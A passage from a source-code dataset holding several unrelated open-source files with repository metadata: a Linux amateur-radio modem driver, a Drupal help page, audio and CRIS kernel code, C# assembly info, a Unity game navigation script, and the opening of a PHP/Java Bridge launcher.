epptimeout; } } GETTICK(time3); #ifdef BAYCOM_DEBUG bc->debug_vals.mod_cycles = time2 - time1; bc->debug_vals.demod_cycles = time3 - time2; #endif /* BAYCOM_DEBUG */ schedule_delayed_work(&bc->run_work, 1); if (!bc->skb) netif_wake_queue(dev); return; epptimeout: printk(KERN_ERR "%s: EPP timeout!\n", bc_drvname); } /* ---------------------------------------------------------------------- */ /* * ===================== network driver interface ========================= */ static int baycom_send_packet(struct sk_buff *skb, struct net_device *dev) { struct baycom_state *bc = netdev_priv(dev); if (skb->data[0] != 0) { do_kiss_params(bc, skb->data, skb->len); dev_kfree_skb(skb); return NETDEV_TX_OK; } if (bc->skb) return NETDEV_TX_LOCKED; /* strip KISS byte */ if (skb->len >= HDLCDRV_MAXFLEN+1 || skb->len < 3) { dev_kfree_skb(skb); return NETDEV_TX_OK; } netif_stop_queue(dev); bc->skb = skb; return NETDEV_TX_OK; } /* --------------------------------------------------------------------- */ static int baycom_set_mac_address(struct net_device *dev, void *addr) { struct sockaddr *sa = (struct sockaddr *)addr; /* addr is an AX.25 shifted ASCII mac address */ memcpy(dev->dev_addr, sa->sa_data, dev->addr_len); return 0; } /* --------------------------------------------------------------------- */ static void epp_wakeup(void *handle) { struct net_device *dev = (struct net_device *)handle; struct baycom_state *bc = netdev_priv(dev); printk(KERN_DEBUG "baycom_epp: %s: why am I being woken up?\n", dev->name); if (!parport_claim(bc->pdev)) printk(KERN_DEBUG "baycom_epp: %s: I'm broken.\n", dev->name); } /* --------------------------------------------------------------------- */ /* * Open/initialize the board. This is called (in the current kernel) * sometime after booting when the 'ifconfig' program is run. * * This routine should set everything up anew at each open, even * registers that "should" only need to be set once at boot, so that * there is non-reboot way to recover if something goes wrong. */ static int epp_open(struct net_device *dev) { struct baycom_state *bc = netdev_priv(dev); struct parport *pp = parport_find_base(dev->base_addr); unsigned int i, j; unsigned char tmp[128]; unsigned char stat; unsigned long tstart; if (!pp) { printk(KERN_ERR "%s: parport at 0x%lx unknown\n", bc_drvname, dev->base_addr); return -ENXIO; } #if 0 if (pp->irq < 0) { printk(KERN_ERR "%s: parport at 0x%lx has no irq\n", bc_drvname, pp->base); parport_put_port(pp); return -ENXIO; } #endif if ((~pp->modes) & (PARPORT_MODE_TRISTATE | PARPORT_MODE_PCSPP | PARPORT_MODE_SAFEININT)) { printk(KERN_ERR "%s: parport at 0x%lx cannot be used\n", bc_drvname, pp->base); parport_put_port(pp); return -EIO; } memset(&bc->modem, 0, sizeof(bc->modem)); bc->pdev = parport_register_device(pp, dev->name, NULL, epp_wakeup, NULL, PARPORT_DEV_EXCL, dev); parport_put_port(pp); if (!bc->pdev) { printk(KERN_ERR "%s: cannot register parport at 0x%lx\n", bc_drvname, pp->base); return -ENXIO; } if (parport_claim(bc->pdev)) { printk(KERN_ERR "%s: parport at 0x%lx busy\n", bc_drvname, pp->base); parport_unregister_device(bc->pdev); return -EBUSY; } dev->irq = /*pp->irq*/ 0; INIT_DELAYED_WORK(&bc->run_work, epp_bh); bc->work_running = 1; bc->modem = EPP_CONVENTIONAL; if (eppconfig(bc)) printk(KERN_INFO "%s: no FPGA detected, assuming conventional EPP modem\n", bc_drvname); else bc->modem = /*EPP_FPGA*/ EPP_FPGAEXTSTATUS; parport_write_control(pp, LPTCTRL_PROGRAM); /* prepare EPP mode; we aren't using interrupts */ /* reset the modem */ tmp[0] = 0; tmp[1] = EPP_TX_FIFO_ENABLE|EPP_RX_FIFO_ENABLE|EPP_MODEM_ENABLE; if (pp->ops->epp_write_addr(pp, tmp, 2, 0) != 2) goto epptimeout; /* autoprobe baud rate */ tstart = jiffies; i = 0; while (time_before(jiffies, tstart + HZ/3)) { if (pp->ops->epp_read_addr(pp, &stat, 1, 0) != 1) goto epptimeout; if ((stat & (EPP_NRAEF|EPP_NRHF)) == EPP_NRHF) { schedule(); continue; } if (pp->ops->epp_read_data(pp, tmp, 128, 0) != 128) goto epptimeout; if (pp->ops->epp_read_data(pp, tmp, 128, 0) != 128) goto epptimeout; i += 256; } for (j = 0; j < 256; j++) { if (pp->ops->epp_read_addr(pp, &stat, 1, 0) != 1) goto epptimeout; if (!(stat & EPP_NREF)) break; if (pp->ops->epp_read_data(pp, tmp, 1, 0) != 1) goto epptimeout; i++; } tstart = jiffies - tstart; bc->bitrate = i * (8 * HZ) / tstart; j = 1; i = bc->bitrate >> 3; while (j < 7 && i > 150) { j++; i >>= 1; } printk(KERN_INFO "%s: autoprobed bitrate: %d int divider: %d int rate: %d\n", bc_drvname, bc->bitrate, j, bc->bitrate >> (j+2)); tmp[0] = EPP_TX_FIFO_ENABLE|EPP_RX_FIFO_ENABLE|EPP_MODEM_ENABLE/*|j*/; if (pp->ops->epp_write_addr(pp, tmp, 1, 0) != 1) goto epptimeout; /* * initialise hdlc variables */ bc->hdlcrx.state = 0; bc->hdlcrx.numbits = 0; bc->hdlctx.state = tx_idle; bc->hdlctx.bufcnt = 0; bc->hdlctx.slotcnt = bc->ch_params.slottime; bc->hdlctx.calibrate = 0; /* start the bottom half stuff */ schedule_delayed_work(&bc->run_work, 1); netif_start_queue(dev); return 0; epptimeout: printk(KERN_ERR "%s: epp timeout during bitrate probe\n", bc_drvname); parport_write_control(pp, 0); /* reset the adapter */ parport_release(bc->pdev); parport_unregister_device(bc->pdev); return -EIO; } /* --------------------------------------------------------------------- */ static int epp_close(struct net_device *dev) { struct baycom_state *bc = netdev_priv(dev); struct parport *pp = bc->pdev->port; unsigned char tmp[1]; bc->work_running = 0; cancel_delayed_work_sync(&bc->run_work); bc->stat = EPP_DCDBIT; tmp[0] = 0; pp->ops->epp_write_addr(pp, tmp, 1, 0); parport_write_control(pp, 0); /* reset the adapter */ parport_release(bc->pdev); parport_unregister_device(bc->pdev); if (bc->skb) dev_kfree_skb(bc->skb); bc->skb = NULL; printk(KERN_INFO "%s: close epp at iobase 0x%lx irq %u\n", bc_drvname, dev->base_addr, dev->irq); return 0; } /* --------------------------------------------------------------------- */ static int baycom_setmode(struct baycom_state *bc, const char *modestr) { const char *cp; if (strstr(modestr,"intclk")) bc->cfg.intclk = 1; if (strstr(modestr,"extclk")) bc->cfg.intclk = 0; if (strstr(modestr,"intmodem")) bc->cfg.extmodem = 0; if (strstr(modestr,"extmodem")) bc->cfg.extmodem = 1; if (strstr(modestr,"noloopback")) bc->cfg.loopback = 0; if (strstr(modestr,"loopback")) bc->cfg.loopback = 1; if ((cp = strstr(modestr,"fclk="))) { bc->cfg.fclk = simple_strtoul(cp+5, NULL, 0); if (bc->cfg.fclk < 1000000) bc->cfg.fclk = 1000000; if (bc->cfg.fclk > 25000000) bc->cfg.fclk = 25000000; } if ((cp = strstr(modestr,"bps="))) { bc->cfg.bps = simple_strtoul(cp+4, NULL, 0); if (bc->cfg.bps < 1000) bc->cfg.bps = 1000; if (bc->cfg.bps > 1500000) bc->cfg.bps = 1500000; } return 0; } /* --------------------------------------------------------------------- */ static int baycom_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd) { struct baycom_state *bc = netdev_priv(dev); struct hdlcdrv_ioctl hi; if (cmd != SIOCDEVPRIVATE) return -ENOIOCTLCMD; if (copy_from_user(&hi, ifr->ifr_data, sizeof(hi))) return -EFAULT; switch (hi.cmd) { default: return -ENOIOCTLCMD; case HDLCDRVCTL_GETCHANNELPAR: hi.data.cp.tx_delay = bc->ch_params.tx_delay; hi.data.cp.tx_tail = bc->ch_params.tx_tail; hi.data.cp.slottime = bc->ch_params.slottime; hi.data.cp.ppersist = bc->ch_params.ppersist; hi.data.cp.fulldup = bc->ch_params.fulldup; break; case HDLCDRVCTL_SETCHANNELPAR: if (!capable(CAP_NET_ADMIN)) return -EACCES; bc->ch_params.tx_delay = hi.data.cp.tx_delay; bc->ch_params.tx_tail = hi.data.cp.tx_tail; bc->ch_params.slottime = hi.data.cp.slottime; bc->ch_params.ppersist = hi.data.cp.ppersist; bc->ch_params.fulldup = hi.data.cp.fulldup; bc->hdlctx.slotcnt = 1; return 0; case HDLCDRVCTL_GETMODEMPAR: hi.data.mp.iobase = dev->base_addr; hi.data.mp.irq = dev->irq; hi.data.mp.dma = dev->dma; hi.data.mp.dma2 = 0; hi.data.mp.seriobase = 0; hi.data.mp.pariobase = 0; hi.data.mp.midiiobase = 0; break; case HDLCDRVCTL_SETMODEMPAR: if ((!capable(CAP_SYS_RAWIO)) || netif_running(dev)) return -EACCES; dev->base_addr = hi.data.mp.iobase; dev->irq = /*hi.data.mp.irq*/0; dev->dma = /*hi.data.mp.dma*/0; return 0; case HDLCDRVCTL_GETSTAT: hi.data.cs.ptt = !!(bc->stat & EPP_PTTBIT); hi.data.cs.dcd = !(bc->stat & EPP_DCDBIT); hi.data.cs.ptt_keyed = bc->ptt_keyed; hi.data.cs.tx_packets = dev->stats.tx_packets; hi.data.cs.tx_errors = dev->stats.tx_errors; hi.data.cs.rx_packets = dev->stats.rx_packets; hi.data.cs.rx_errors = dev->stats.rx_errors; break; case HDLCDRVCTL_OLDGETSTAT: hi.data.ocs.ptt = !!(bc->stat & EPP_PTTBIT); hi.data.ocs.dcd = !(bc->stat & EPP_DCDBIT); hi.data.ocs.ptt_keyed = bc->ptt_keyed; break; case HDLCDRVCTL_CALIBRATE: if (!capable(CAP_SYS_RAWIO)) return -EACCES; bc->hdlctx.calibrate = hi.data.calibrate * bc->bitrate / 8; return 0; case HDLCDRVCTL_DRIVERNAME: strncpy(hi.data.drivername, "baycom_epp", sizeof(hi.data.drivername)); break; case HDLCDRVCTL_GETMODE: sprintf(hi.data.modename, "%sclk,%smodem,fclk=%d,bps=%d%s", bc->cfg.intclk ? "int" : "ext", bc->cfg.extmodem ? "ext" : "int", bc->cfg.fclk, bc->cfg.bps, bc->cfg.loopback ? ",loopback" : ""); break; case HDLCDRVCTL_SETMODE: if (!capable(CAP_NET_ADMIN) || netif_running(dev)) return -EACCES; hi.data.modename[sizeof(hi.data.modename)-1] = '\0'; return baycom_setmode(bc, hi.data.modename); case HDLCDRVCTL_MODELIST: strncpy(hi.data.modename, "intclk,extclk,intmodem,extmodem,divider=x", sizeof(hi.data.modename)); break; case HDLCDRVCTL_MODEMPARMASK: return HDLCDRV_PARMASK_IOBASE; } if (copy_to_user(ifr->ifr_data, &hi, sizeof(hi))) return -EFAULT; return 0; } /* --------------------------------------------------------------------- */ static const struct net_device_ops baycom_netdev_ops = { .ndo_open = epp_open, .ndo_stop = epp_close, .ndo_do_ioctl = baycom_ioctl, .ndo_start_xmit = baycom_send_packet, .ndo_set_mac_address = baycom_set_mac_address, }; /* * Check for a network adaptor of this type, and return '0' if one exists. * If dev->base_addr == 0, probe all likely locations. * If dev->base_addr == 1, always return failure. * If dev->base_addr == 2, allocate space for the device and return success * (detachable devices only). */ static void baycom_probe(struct net_device *dev) { const struct hdlcdrv_channel_params dflt_ch_params = { 20, 2, 10, 40, 0 }; struct baycom_state *bc; /* * not a real probe! only initialize data structures */ bc = netdev_priv(dev); /* * initialize the baycom_state struct */ bc->ch_params = dflt_ch_params; bc->ptt_keyed = 0; /* * initialize the device struct */ /* Fill in the fields of the device structure */ bc->skb = NULL; dev->netdev_ops = &baycom_netdev_ops; dev->header_ops = &ax25_header_ops; dev->type = ARPHRD_AX25; /* AF_AX25 device */ dev->hard_header_len = AX25_MAX_HEADER_LEN + AX25_BPQ_HEADER_LEN; dev->mtu = AX25_DEF_PACLEN; /* eth_mtu is the default */ dev->addr_len = AX25_ADDR_LEN; /* sizeof an ax.25 address */ memcpy(dev->broadcast, &ax25_bcast, AX25_ADDR_LEN); memcpy(dev->dev_addr, &null_ax25_address, AX25_ADDR_LEN); dev->tx_queue_len = 16; /* New style flags */ dev->flags = 0; } /* --------------------------------------------------------------------- */ /* * command line settable parameters */ static char *mode[NR_PORTS] = { "", }; static int iobase[NR_PORTS] = { 0x378, }; module_param_array(mode, charp, NULL, 0); MODULE_PARM_DESC(mode, "baycom operating mode"); module_param_array(iobase, int, NULL, 0); MODULE_PARM_DESC(iobase, "baycom io base address"); MODULE_AUTHOR("Thomas M. Sailer, sailer@ife.ee.ethz.ch, hb9jnx@hb9w.che.eu"); MODULE_DESCRIPTION("Baycom epp amateur radio modem driver"); MODULE_LICENSE("GPL"); /* --------------------------------------------------------------------- */ static void __init baycom_epp_dev_setup(struct net_device *dev) { struct baycom_state *bc = netdev_priv(dev); /* * initialize part of the baycom_state struct */ bc->dev = dev; bc->magic = BAYCOM_MAGIC; bc->cfg.fclk = 19666600; bc->cfg.bps = 9600; /* * initialize part of the device struct */ baycom_probe(dev); } static int __init init_baycomepp(void) { int i, found = 0; char set_hw = 1; printk(bc_drvinfo); /* * register net devices */ for (i = 0; i < NR_PORTS; i++) { struct net_device *dev; dev = alloc_netdev(sizeof(struct baycom_state), "bce%d", baycom_epp_dev_setup); if (!dev) { printk(KERN_WARNING "bce%d : out of memory\n", i); return found ? 0 : -ENOMEM; } sprintf(dev->name, "bce%d", i); dev->base_addr = iobase[i]; if (!mode[i]) set_hw = 0; if (!set_hw) iobase[i] = 0; if (register_netdev(dev)) { printk(KERN_WARNING "%s: cannot register net device %s\n", bc_drvname, dev->name); free_netdev(dev); break; } if (set_hw && baycom_setmode(netdev_priv(dev), mode[i])) set_hw = 0; baycom_device[i] = dev; found++; } return found ? 0 : -ENXIO; } static void __exit cleanup_baycomepp(void) { int i; for(i = 0; i < NR_PORTS; i++) { struct net_device *dev = baycom_device[i]; if (dev) { struct baycom_state *bc = netdev_priv(dev); if (bc->magic == BAYCOM_MAGIC) { unregister_netdev(dev); free_netdev(dev); } else printk(paranoia_str, "cleanup_module"); } } } module_init(init_baycomepp); module_exit(cleanup_baycomepp); /* --------------------------------------------------------------------- */ #ifndef MODULE /* * format: baycom_epp=io,mode * mode: fpga config options */ static int __init baycom_epp_setup(char *str) { static unsigned __initdata nr_dev = 0; int ints[2]; if (nr_dev >= NR_PORTS) return 0; str = get_options(str, 2, ints); if (ints[0] < 1) return 0; mode[nr_dev] = str; iobase[nr_dev] = ints[1]; nr_dev++; return 1; } __setup("baycom_epp=", baycom_epp_setup); #endif /* MODULE */ /* --------------------------------------------------------------------- */
CobraDroid/android_kernel_goldfish
drivers/net/hamradio/baycom_epp.c
C
gpl-2.0
34,930
If a display has a path that means that it can be retrieved directly by calling a URL as a first class page on your Drupal site. Any items after the path will be passed into the view as arguments. For example, if the path is <strong>foo/bar</strong> and a user visits <strong>http://www.example.com/foo/bar/baz/beta</strong>, 'baz' and 'beta' will be given as arguments to the view. These can be handled by adding items to the <a href="topic:views/arguments">arguments</a> section. You may also use placeholders in your path to represent arguments that come in the middle. For example, the path <strong>node/%/someview</strong> would expect the first argument to be the second part of the path. For example, <strong>node/21/someview</strong> would have an argument of '21'. <em>Note:</em> Views 1 used <strong>$arg</strong> for this kind of thing. $arg is no longer allowed as part of the path. You must use % instead. If multiple displays <strong>within the same view</strong> have the same path, the user will get the first display they have access to. This means you can create successfuly less restricted displays in order to give administrators and privileged users different content at the same path.
solsoft/drupal_nexus_distro
sites/all/modules/contrib/api/views/help/path.html
HTML
gpl-2.0
1,210
/**************************************************************************** Copyright Echo Digital Audio Corporation (c) 1998 - 2004 All rights reserved www.echoaudio.com This file is part of Echo Digital Audio's generic driver library. Echo Digital Audio's generic driver library is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. ************************************************************************* Translation from C++ and adaptation for use in ALSA-Driver were made by Giuliano Pochini <pochini@shiny.it> ****************************************************************************/ /* These functions are common for Gina24, Layla24 and Mona cards */ /* ASIC status check - some cards have one or two ASICs that need to be loaded. Once that load is complete, this function is called to see if the load was successful. If this load fails, it does not necessarily mean that the hardware is defective - the external box may be disconnected or turned off. */ static int check_asic_status(struct echoaudio *chip) { u32 asic_status; send_vector(chip, DSP_VC_TEST_ASIC); /* The DSP will return a value to indicate whether or not the ASIC is currently loaded */ if (read_dsp(chip, &asic_status) < 0) { DE_INIT(("check_asic_status: failed on read_dsp\n")); chip->asic_loaded = FALSE; return -EIO; } chip->asic_loaded = (asic_status == ASIC_ALREADY_LOADED); return chip->asic_loaded ? 0 : -EIO; } /* Most configuration of Gina24, Layla24, or Mona is accomplished by writing the control register. write_control_reg sends the new control register value to the DSP. */ static int write_control_reg(struct echoaudio *chip, u32 value, char force) { /* Handle the digital input auto-mute */ if (chip->digital_in_automute) value |= GML_DIGITAL_IN_AUTO_MUTE; else value &= ~GML_DIGITAL_IN_AUTO_MUTE; DE_ACT(("write_control_reg: 0x%x\n", value)); /* Write the control register */ value = cpu_to_le32(value); if (value != chip->comm_page->control_register || force) { if (wait_handshake(chip)) return -EIO; chip->comm_page->control_register = value; clear_handshake(chip); return send_vector(chip, DSP_VC_WRITE_CONTROL_REG); } return 0; } /* Gina24, Layla24, and Mona support digital input auto-mute. If the digital input auto-mute is enabled, the DSP will only enable the digital inputs if the card is syncing to a valid clock on the ADAT or S/PDIF inputs. If the auto-mute is disabled, the digital inputs are enabled regardless of what the input clock is set or what is connected. */ static int set_input_auto_mute(struct echoaudio *chip, int automute) { DE_ACT(("set_input_auto_mute %d\n", automute)); chip->digital_in_automute = automute; /* Re-set the input clock to the current value - indirectly causes the auto-mute flag to be sent to the DSP */ return set_input_clock(chip, chip->input_clock); } /* S/PDIF coax / S/PDIF optical / ADAT - switch */ static int set_digital_mode(struct echoaudio *chip, u8 mode) { u8 previous_mode; int err, i, o; if (chip->bad_board) return -EIO; /* All audio channels must be closed before changing the digital mode */ if (snd_BUG_ON(chip->pipe_alloc_mask)) return -EAGAIN; if (snd_BUG_ON(!(chip->digital_modes & (1 << mode)))) return -EINVAL; previous_mode = chip->digital_mode; err = dsp_set_digital_mode(chip, mode); /* If we successfully changed the digital mode from or to ADAT, then make sure all output, input and monitor levels are updated by the DSP comm object. */ if (err >= 0 && previous_mode != mode && (previous_mode == DIGITAL_MODE_ADAT || mode == DIGITAL_MODE_ADAT)) { spin_lock_irq(&chip->lock); for (o = 0; o < num_busses_out(chip); o++) for (i = 0; i < num_busses_in(chip); i++) set_monitor_gain(chip, o, i, chip->monitor_gain[o][i]); #ifdef ECHOCARD_HAS_INPUT_GAIN for (i = 0; i < num_busses_in(chip); i++) set_input_gain(chip, i, chip->input_gain[i]); update_input_line_level(chip); #endif for (o = 0; o < num_busses_out(chip); o++) set_output_gain(chip, o, chip->output_gain[o]); update_output_line_level(chip); spin_unlock_irq(&chip->lock); } return err; } /* Set the S/PDIF output format */ static int set_professional_spdif(struct echoaudio *chip, char prof) { u32 control_reg; int err; /* Clear the current S/PDIF flags */ control_reg = le32_to_cpu(chip->comm_page->control_register); control_reg &= GML_SPDIF_FORMAT_CLEAR_MASK; /* Set the new S/PDIF flags depending on the mode */ control_reg |= GML_SPDIF_TWO_CHANNEL | GML_SPDIF_24_BIT | GML_SPDIF_COPY_PERMIT; if (prof) { /* Professional mode */ control_reg |= GML_SPDIF_PRO_MODE; switch (chip->sample_rate) { case 32000: control_reg |= GML_SPDIF_SAMPLE_RATE0 | GML_SPDIF_SAMPLE_RATE1; break; case 44100: control_reg |= GML_SPDIF_SAMPLE_RATE0; break; case 48000: control_reg |= GML_SPDIF_SAMPLE_RATE1; break; } } else { /* Consumer mode */ switch (chip->sample_rate) { case 32000: control_reg |= GML_SPDIF_SAMPLE_RATE0 | GML_SPDIF_SAMPLE_RATE1; break; case 48000: control_reg |= GML_SPDIF_SAMPLE_RATE1; break; } } if ((err = write_control_reg(chip, control_reg, FALSE))) return err; chip->professional_spdif = prof; DE_ACT(("set_professional_spdif to %s\n", prof ? "Professional" : "Consumer")); return 0; }
cm-3470/android_kernel_samsung_gardalte
sound/pci/echoaudio/echoaudio_gml.c
C
gpl-2.0
5,950
/* * Various shadow registers. Defines for these are in include/asm-etrax100/io.h */ /* Shadows for internal Etrax-registers */ unsigned long genconfig_shadow; unsigned long gen_config_ii_shadow; unsigned long port_g_data_shadow; unsigned char port_pa_dir_shadow; unsigned char port_pa_data_shadow; unsigned char port_pb_i2c_shadow; unsigned char port_pb_config_shadow; unsigned char port_pb_dir_shadow; unsigned char port_pb_data_shadow; unsigned long r_timer_ctrl_shadow; /* Shadows for external I/O port registers. * These are only usable if there actually IS a latch connected * to the corresponding external chip-select pin. * * A common usage is that CSP0 controls LEDs and CSP4 video chips. */ unsigned long port_cse1_shadow; unsigned long port_csp0_shadow; unsigned long port_csp4_shadow; /* Corresponding addresses for the ports. * These are initialized in arch/cris/mm/init.c using ioremap. */ volatile unsigned long *port_cse1_addr; volatile unsigned long *port_csp0_addr; volatile unsigned long *port_csp4_addr;
Kernelhacker/2.6.38.3-Adam
arch/cris/arch-v10/kernel/shadows.c
C
gpl-2.0
1,040
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("Sdl.Community.SdlPluginInstaller.Cmd")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("Microsoft")] [assembly: AssemblyProduct("Sdl.Community.SdlPluginInstaller.Console")] [assembly: AssemblyCopyright("Copyright © Microsoft 2016")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("4fd613ea-76e9-4342-a8f3-bc9d0ec4840c")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")]
sdl/Sdl-plugin-installer
Sdl Plugin Installer/Sdl.Community.SdlPluginInstaller.Console/Properties/AssemblyInfo.cs
C#
gpl-2.0
1,470
using UnityEngine; using System.Collections; public class Navegacao : MonoBehaviour { // Variáveis Públicas public GameObject som = null; public GameObject somPagina = null; public GameObject telaFaltouMaca; // Variáveis estáticas public static Telas telaAtual = Telas.Inicial; public static Telas telaAnterior = Telas.Inicial; // Métodos estáticos public static void CarregarTelaEstatico(Telas tela) { telaAnterior = telaAtual; telaAtual = tela; Debug.Log("AQUI estatico "+tela); Application.LoadLevel(Dados.nomeTelas[(int) tela]); UnityAnalytics.EnviarPontosMaisTocados(); } public static void VoltarUmaTela() { CarregarTelaEstatico(telaAnterior); } // Métodos públicos public void MostrarAdMaca(GameObject botao) { //GerenciadorUnityAds.ShowRewardedAd(); MensagemMacaNaoTem(); /* if (botao != null && Dados.macasVerdeTotal > 0) botao.SetActive(false); //*/ } public void CarregarTela(Telas tela, bool tocarSom = true) { if (tocarSom && som && Dados.somLigado) { Instantiate(som, Vector3.zero, Quaternion.identity); } telaAtual = tela; Debug.Log("AQUI "+tela); Application.LoadLevel(Dados.nomeTelas[(int) tela]); UnityAnalytics.EnviarPontosMaisTocados(); } public void CarregarTelaMenu(){ //CarregarTela(Telas.Menu); //ControleMusica.MusicaMenu(); CarregarTelaMenuVirandoPagina(); } public void CarregarTelaMenuVirandoPagina() { if (somPagina && Dados.somLigado) { Instantiate(somPagina, Vector3.zero, Quaternion.identity); } CarregarTela(Telas.Menu, false); //ControleMusica.MusicaMenu(); } public void CarregarTelaModoJogo(){ ControleTela.CarregarTela( Telas.EscolherMundo, GetComponent<Navegacao>()); } public void CarregarTelaEscolherMundos() { Dados.modoDeJogo = ModosDeJogo.Normal; if (Dados.estatisticas.mundos.Count == 1){ Dados.mundoAtual = 0; ControleTela.CarregarTela( Telas.EscolherFase, GetComponent<Navegacao>()); }else{ ControleTela.CarregarTela( Telas.EscolherMundo, GetComponent<Navegacao>()); } } public void CarregarTelaVoltarDeEscolherFases() { if (Dados.estatisticas.mundos.Count == 1){ ControleTela.CarregarTela( Telas.EscolherJogo, GetComponent<Navegacao>()); }else{ ControleTela.CarregarTela( Telas.EscolherMundo, GetComponent<Navegacao>()); } } public void CarregarTelaEscolherFases(){ ControleTela.CarregarTela( Telas.EscolherFase, GetComponent<Navegacao>()); } public void CarregarJogoFase(int fase) { if (Dados.modoDeJogo == ModosDeJogo.Normal) { if (Dados.estatisticas.mundos[Dados.mundoAtual]. fases[fase].completo == false) { if (!VerificarGastarMaca(false)) { MensagemMacaNaoTem(); return; } else { VerificarGastarMaca(); } } } //Dados.modoDeJogo = ModosDeJogo.Normal; if (somPagina && Dados.somLigado) { Instantiate(somPagina, Vector3.zero, Quaternion.identity); } Dados.faseAtual = fase; CarregarTela(Telas.Jogo, false); } public void CarregarMesmaFase(bool derrota = false) { if (Dados.modoDeJogo == ModosDeJogo.Normal) { if (Dados.estatisticas.mundos[Dados.mundoAtual]. fases[Dados.faseAtual].completo == false) { if (!VerificarGastarMaca(false)) { MensagemMacaNaoTem(); return; } else { VerificarGastarMaca(true); } } } /* if (derrota) { if (Random.value < 0.5f) { GerenciadorUnityAds.ShowRewardedAd(); Debug.Log ("Mostrou video unity ads"); } else { GerenciadorAdBuddiz.ShowVideo(); Debug.Log ("Mostrou video adbuddiz"); } } else { GerenciadorUnityAds.AdicionarMacas(1); GerenciadorAdBuddiz.ShowBanner(); } //*/ //Dados.modoDeJogo = ModosDeJogo.Normal; CarregarTela(Telas.Jogo); } bool VerificarGastarMaca( bool gastar = true, bool reiniciar = false) { if (Dados.modoDeJogo == ModosDeJogo.Normal) { if (!Utilidade.VerificarMacasJogar()) { if (gastar) MensagemMacaNaoTem(); return false; } if (gastar) Utilidade.GastarMaca(1, reiniciar); } return true; } void MensagemMacaNaoTem() { /* Debug.Log ("Nao tem maças o suficiente. Colocar som"); ControleMensagens.AdicionarMensagem( Utilidade.MensagemSemMacas(), 0); //*/ Instantiate<GameObject>(telaFaltouMaca); } public void CarregarProximaFase() { //* if (Dados.faseAtual < 8) { if (Dados.estatisticas.mundos[Dados.mundoAtual] .fases.Count > Dados.faseAtual + 1 && Dados.estatisticas.mundos[Dados.mundoAtual]. fases[Dados.faseAtual+1].completo == false) { if (!VerificarGastarMaca(false)) { MensagemMacaNaoTem(); return; } } } //*/ //Dados.modoDeJogo = ModosDeJogo.Normal; ControleMusica.ContinuarMusica(); if (Dados.estatisticas.mundos[Dados.mundoAtual] .fases.Count > Dados.faseAtual + 1) { if (Dados.estatisticas.mundos[Dados.mundoAtual] .fases[Dados.faseAtual + 1].completo) { CarregarTelaEscolherFases(); } else { CarregarJogoFase(Dados.faseAtual + 1); } } else { if (Dados.estatisticas.mundos[Dados.mundoAtual] .completo == false) { CarregarTelaEscolherFases(); } else { if (Dados.mundoAtual < Dados.totalDeMundos - 1) { Dados.mundoAtual++; CarregarTelaEscolherFases(); } else { CarregarTelaModoJogo(); } } } } public void CarregarTelaJogoRapido() { CarregarTelaSobrevivencia(); /* //CarregarTela(Telas.Jogo_JogoRapido); Dados.modoDeJogo = ModosDeJogo.JogoRapido; CarregarTela(Telas.Jogo); ControleMusica.MusicaJogoRapido(); //*/ } public void CarregarTelaSobrevivencia() { //CarregarTela(Telas.Jogo_Sobrevivencia); Dados.modoDeJogo = ModosDeJogo.Sobrevivencia; CarregarTela(Telas.Jogo); ControleMusica.MusicaSobrevivencia(); } public void Facebook() { Application.OpenURL("https://www.facebook.com/Bridgefall-958452747513366/"); } }
zugbahn/caiPonteBase
Bridgefall/Assets/Scripts/Navegacao.cs
C#
gpl-2.0
6,002
/*-*- mode: C; tab-width:4 -*-*/ /** The launcher.exe starts a PHP FastCGI server on Windows. Copyright (C) 2003-2007 Jost Boekemeier This file is part of the PHP/Java Bridge. The PHP/Java Bridge ("the library") is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. The library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with the PHP/Java Bridge; see the file COPYING. If not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. Linking this file statically or dynamically with other modules is making a combined work based on this library. Thus, the terms and conditions of the GNU General Public License cover the whole combination. As a special exception, the copyright holders of this library give you permission to link this library with independent modules to produce an executable, regardless of the license terms of these independent modules, and to copy and distribute the resulting executable under terms of your choice, provided that you also meet, for each linked independent module, the terms and conditions of the license of that module. An independent module is a module which is not derived from or based on this library. If you modify this library, you may extend this exception to your version of the library, but you are not obligated to do so. If you do not wish to do so, delete this exception statement from your version. */ /* * Compile this program with: i386-pc-mingw32-gcc launcher.c -o * launcher.exe -lws2_32 */ #include <windows.h> #include <winsock2.h> #include <stdio.h> #include <string.h> #include <stdlib.h> void die(int line) { fprintf(stderr, "launcher.exe terminated with error code %d in line %d.\n", GetLastError(), line); exit(2); } void usage() { puts("This file is part of the PHP/Java Bridge."); puts("Copyright (C) 2003, 2006 Jost Boekemeier and others."); puts("This is free software; see the source for copying conditions. There is NO"); puts("warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE."); puts("Usage: launcher.exe php-cgi.exe channelName php-options"); puts("Influential environment variables: PHP_FCGI_MAX_REQUESTS, PHP_FCGI_CHILDREN"); puts("Example: launcher.exe php-cgi \\\\.\\pipe\\JavaBridge@9667 -d allow_url_include=On"); exit(1); } HANDLE *processes; 